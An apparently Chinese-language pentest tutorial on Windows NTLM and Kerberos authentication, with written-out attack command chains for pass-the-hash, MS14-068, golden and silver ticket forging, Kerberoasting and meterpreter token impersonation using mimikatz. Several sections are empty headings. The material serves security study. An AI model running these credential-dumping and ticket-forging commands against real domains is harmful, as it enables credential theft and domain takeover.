Windows系统在本地认证过程中,操作系统会要求用户输入密码作为凭证去做身份验证。 在验证过程中,系统并不保存明文密码,而是将用户输入的密码转变为NTLM hash(也叫NT hash),再与储存在本地SAM文件中的哈希值进行比对。如果哈希值相同,则认证成功。
%SystemRoot%\\system32\\config\\sam
用户登录账户时,系统会显示登录界面,以供用户输入凭证,接收输入后,输入框会将密码交给lsass进程。该进程会先保留一份明文密码,再将明文加密成NTLM hash,然后将HTLM hash与SAM文件中储存的用户凭证进行比对,如果比对成功,则完成对用户的认证。
简化流程:
winlogon.exe(输入框)> 接收用户输入 > lsass.exe (存一份明文,再加密成NTLM hash)> 与sam数据库比对
明文密码 > hex(16进制编码) > MD4 加密
例如:
admin -> hex(16进制编码) = 61646d696e 61646d696e -> Unicode = 610064006d0069006e00 610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634
NTLM hash为windows认证中的密码哈希散列 NTLM时一种网络认证协议,全称为:NT LAN Manager,使用HTLM hash作为认证中的根本凭证
LM hash: NTLM协议的前身LM协议(LAN Manager)所使用的密码hash。 NT与LM认证机制相同,但加密算法不同,由于LM hash较容易被破解,已被淘汰。
NTLM是一种基于挑战(Chalenge)/响应(Response)认证机制的网络认证协议,其过程分为三布:协商、质询、验证,主要部分为质询
NTLM(质询阶段)认证过程:
NTLM v1与NTLM v2区别:
windows将用户输入的密码转变为Hash进行验证,验证成功后将Hash存储在内存以便用户不用再次输入。 攻击者得到内存中用户的Hash后无需破解明文,可直接发到其他机器进行验证。该过程称为PTH攻击(Pass The Hash)
CrackMapExec用法
其他工具用法
检测方法:
预防方法:
活动目录(Active Directory)是为企业提供组织化管理资产、服务、网络对象的服务的工具。 AD使用了结构化数据存储方式,并以此为基础对目录信息进行分层,储存了有关网络对象的信息以供用户和管理员查找使用
在域中,网络对象可以相互访问,但是在真实情况中,需要对某些部门的计算机进行限制,例如:销售部门不能访问技术部门的服务器。这中间就需要Kerberos认证协议来验证网络对象间的权限。
Kerberos是一种网络认证协议,其涉及目的为通过密钥系统为Client和Server的应用程序提供强大的认证服务。 该认证过程不依赖主机OS的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传输的数据包可被任意读取、修改 在以上情况下,Kerberos作为一种可信任的第三方认证服务,通过传统密码技术(如共享密钥)执行认证服务
票据(Ticket)是是网络对象互相访问的凭证,如TGT(Ticket Granting Ticket 金票),ST(Session Ticket 银票) DC为域控制器,DC中用户krbtgt用户的Hash用于Kerberos协议的各种验证 AD为活动目录,AD中有账户数据库(AD),其中储存了域内所有用户的密码Hash和白名单,在白名单中的Client才可以申请TGT 从物理层面看,AD与KDC均为DC(Domain Controller 域控制器)。
通过对Client身份信息的验证,颁发给Client一个TGT。具体过程如图:
REQ:Client用自己账户的NTLM hash(CA Master Key)加密当前时间截(Timestamp),随client信息和目标Server信息等,发送给KDC。AS收到Clinet信息后,首先判断它是否在拥有请求权限的白名单中,然后取出该用户的Master Key解密该用户发送的时间截,若与当前时间截差距超过5分钟(默认),则拒绝与Clinet的认证请求
REP:若上述验证成功,KDC会: 1.根据目标Server Name生成一个Session Key(SServer-Client),再用CA Master Key加密生成SKDC-Client。 2.用KDC Master Key(krbtgt NTLM hash)加密SKDC-Client、Client信息、票据到期时间生成TGT 之后,KDC会将TGT与SKDC-Client一同发给Client,KDC不会将TGT保存到本地
通过对TGT和Client身份信息的验证,颁发给Client一张ST。具体过程如图:
REQ:Client将TGT,SKDC-Client加密的Client信息,Server信息,Client名发送给KDC。KDC用KDC Master Key解密TGT得到其中的SKDC-Client,再用SKDC-Client解密得到Client info,并与Client发来的Client信息作比对。
REP:若信息相同,KDC会再次生成SServer-Client和过期时间,然后用SA Master Key(目标Server的NTLM hash)加密SServer-Client,Client信息,过期时间生成ST(银票 Session Ticket),再用SServer-Client加密SKDC-Client,最后全部发回给Client。
Client通过ST完成与Server的交互,过程如图:
REQ:Client用CA Master Key解密SKDC-Client得到SServer-Client,用SServer-Client加密Client info和时间截生成Auth以证明自己为ST所有者,然后将ST与Auth和标记是否需要双向验证的Flag发送给Server。Server收到CD_REP后用SA Master Key解密ST得到SServer-Client和Client info,再用SServer-Client解密Auth得到Client info 和时间截,若两个Client info相等,且时间截与当前时间截不超过五分钟,则完成对Client的认证
REP:若Client在flag中声明需要双向验证,Server会把Client发送给来的时间截用SServer-Client加密后发回去。Client解密后进行对比,若相等,则完成了对Server的认证。认证成功后,ST会一直存在Client的内存中
票据传递攻击PTT(Pass The Ticket)是基于Kerberos认证的一种攻击方式,常用来做后渗透权限维持,其原理为获取并利用目标的HTLM hash来制作票据,最终获得目标的访问权限
原理: KDC不保存SKDC-Client,且krbtgt的NTLM hash固定,可以利用其伪造TGT与SKDC-Client,进而控制DC
特点: 不需要与AS交互,需要krbtgt账户的NTLM hash
过程:
1.利用漏洞获取DC权限
systeminfo | find "3011780" //拿到域内普通用户Admin权限,查看是否有补丁
net config workstation //查看域名
nltest /dsgetdc:域名 //查看DC
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt //获取用户账号密码
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址 //伪造票据
mimikatz # kerberos::purge //清空票据
mimikatz # kerberos::ptc 票据文件地址 //导入凭证
dir \\\\域控地址\\c$ //测试权限
net user aaa Qwe123... /add /domain,net group "Domain Admins" aaa /add /domain //测试权限
2.伪造金票
# privilege::debug //权限测试
# lsadump::dcsync /domain:cyberpeace.com /all /csv //mimikatz导出Hash:
# lsadump::dcsync /domain:cyberpeace.com /user:krbtgt //查看krbtgt的sid
mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:~ /krbtgt:~ /ticket:ticket.kirbi" exit //制作金票
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称 //不是写入内存中的命令!
3.利用金票
mimikatz # kerberos::purge //清除缓存
kerberos::ptt ticket.kirbi //导入金票
普通用户导入伪造金票后可以创建DC用户
特点:
过程:
mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt //导出Server Hash
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4: /user:<用户名> /ptt" exit //伪造票据
清空,导入票据
由于白银票据需要目标服务器的Hash,因此只能针对单个目标服务器上的某些服务去伪造,伪造的服务类型列表如下:
服务注释:服务名 WMI:HOST、RPCSS Powershell Remoteing:HOST、HTTP WinRM:HOST、HTTP Scheduled Tasks:HOST LDAP 、DCSync:LDAP Windows File Share (CIFS):CIFS Windows Remote ServerAdministration Tools:PCSS、LDAP、CIFS
防御方法:
黄金票据:
白银票据:
SPN是域环境中为每种资源分配设计的一种表示方法,是Kerberos身份验证网络中的唯一标识符。所有Kerberos身份验证网络中的主机,都必须在机器账号或用户账号下给每一个服务注册SPN
如果一个服务的权限为local system或network service的,则SPN注册到机器账号下;权限为域用户,则SPN注册到用户账号下,在域用户账号下运行服务须手动注册SPN。
Kerberos机制使用SPN将服务实例与登录账号关联,即一个域内主机上安装了多个服务实例,则每个实例都有自己的SPN。
SPN格式如下:
serviceclass / host:port servicename serviceclass:服务组件名 host :计算机FQDN,port :该服务监听的端口号 servicename:服务的专有名(distinguished name--DN)或objectGUID或Internet 主机名或FQDN 其中serviceclass,host为必选参数,不同服务组件名不同
常见SPN服务名列表:SPN扫描 - 信安本原 - 博客园 (cnblogs.com)
与网络扫描相比,SPN服务扫描不通过连接IP实现判断(可能触发报警),而是通过Kerberos原理向域控查询服务,域内任何用户都可以使用此方法,在内网渗透中更加好用
SetSPN是一个本地的windows二进制文件,用于检索用户账户与服务之间的映射,可用于添加删除查看SPN(win2003没有此功能)。具体操作如下:
setspn -q */* #查找全部SPN信息
setspn -T 域名 -q */* #查看某指定域内SPN信息:
setspn -q */* | findstr "MSSQL" #查找域中服务名带"MSSQL"的SPN
SPN服务的常用扫描工具如下:
ST服务票据使用服务帐户NTLM hash加密,所以任何域用户都可以从服务器转储hash用于攻击,而无需将shell引入运行该服务的系统。
Kerberoast即破解Kerberos服务票据并重写,从而获得目标Server访问权限
特点:合法访问,离线破解,不需要与服务目标有任何交互
步骤:SPN发现,请求服务票据,导出,破解,重写&注入
kerberoat攻击中可利用的工具组合有很多种,本文只阐述一条完整的攻击链。
# kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80 //通过Mimikatz指定服务主体名称作为目标
# kerberos::list //列出内存中的所有可用票据
# kerberos::list /export //列出内存中的所有可用票据,并保存在远程主机
python tgsrepcrack.py /root/Desktop/passwords.txt PENTESTLAB_001.kirbi //利用Tim Medin Kerberoast工具包中的tgsrepcrack脚本,配合字典爆破Kerberos票据
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 //利用破解出的Hash重写票据
# kerberos::ptt PENTESTLAB.kirbi //用Mimikatz将票据注入内存
其他攻击方法
其中 Tim Medin的Kerberoast工具包Auto-Kerberoast已实现攻击流程的自动化
当我们获取到有权注册SPN的域账号,或拿到了域控,我们就可以为指定的域用户添加一个SPN。这样就可以随时获得该用户的TGS,从而可以通过破解获得明文口令。 具体操作如下:
setspn.exe -U -A VNC/WIN-Q2JR4MURGS0.hacke.testlab Administrator
// 为添加管理员Administrator添加VNC/WIN-Q2JR4MURGS0.hacke.testlab
Windows Token也叫Access Token(访问令牌),是描述进程(线程)安全上下文的对象,不同用户登录主机后,都会生成一个。(可以用来给进程分配权限)该Token在用户创建进程(线程)时被使用,不断拷贝,这也解释了A用户创建的进程没有B用户权限。
每个进程创建时,都会根据登录会话权限,由LSA(Local Security Authority)分配一个Token。如果CreatProcess时自己指定了 Token, LSA会用该Token, 否则就用父进程Token的一份拷贝。
Access Token种类:主令牌,模拟令牌 一般情况下,用户双击运行一个程序,都会拷贝“explorer.exe”的Access Token。 当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除。只有在重启机器后才会清除。
其中,SID 安全提示符(Security Identifiers) 是一个唯一的字符串,可代表一个账户、用户组、一次登录。通常有一个SID固定列表,已内置账户如Everyone默认拥有固定SID。
SID表现形式:
用户注销后,系统会使主令牌变为模拟令牌,在重启前不会清除 攻击者可查看系统内令牌,并假冒其中任意用户
meterpreter > getsystem
meterpreter > load incognito #加载incognito模块
meterpreter > list_tokens –u #获取Token列表
Delegation Tokens Available ============================== NT AUTHORITY\\LOCAL SERVICENT AUTHORITY\\NETWORK SERVICENT AUTHORITY\\SYSTEM PAYLOADS\\Administrator PAYLOADS\\w7
meterpreter > impersonate_token "PAYLOADS\\\\Administrator” #利用Token假冒管理员用户
[+] Delegation token available
[+] Successfully impersonated user PAYLOADS\\Administrator